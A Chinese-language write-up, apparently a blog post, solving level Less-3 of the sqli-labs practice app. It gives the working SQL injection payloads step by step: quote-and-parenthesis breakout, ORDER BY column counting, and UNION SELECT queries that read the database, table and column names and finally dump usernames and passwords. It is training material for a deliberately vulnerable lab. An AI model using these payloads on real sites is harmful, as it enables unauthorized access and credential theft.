[网络安全]sqli-labs Less-3 解题详析

判断注入类型

GET1' and '1'='1,回显如下:
GET1' and '1'='2
没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+,回显如下:

由上图可知,sql语法中给$id加上了()

猜测后端语句为SELECT * FROM xx where id=('$id')

故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')

SELECT * FROM xx where id=('-1') order by 3

GET1') order by 4 --+

GET1') order by 3 --+
故注入点为3个

查库名

GET-1') union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

复制代码
-1') union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
米羊1212 分钟前
威胁识别(上)
网络·安全·web安全
白帽子黑客罗哥4 分钟前
护网行动中遇到突发安全事件的标准应急响应流程
网络·安全·web安全·计算机·护网行动
世界尽头与你13 分钟前
(修复方案)CVE-2023-26111: node-static 路径遍历漏洞
安全·网络安全·渗透测试
志凌海纳SmartX44 分钟前
金融行业IT基础设施转型实践|450+机构部署轻量云,支持核心生产与信创业务
大数据·数据库·金融
VIP_CQCRE1 小时前
hCaptcha 验证码图像识别 API 对接教程
数据库
Mr_Xuhhh1 小时前
MySQL索引深度解析:从原理到实践
数据库·sql·mysql
爱学习的阿磊1 小时前
Python入门:从零到一的第一个程序
jvm·数据库·python
天途小编1 小时前
北京昌平无人机适飞空域正式启用!附官方查询通道与安全飞行指南
安全·无人机
naruto_lnq1 小时前
编写一个Python脚本自动下载壁纸
jvm·数据库·python
阿猿收手吧!1 小时前
【C++】atmoic原子操作与并发安全全解析
开发语言·c++·安全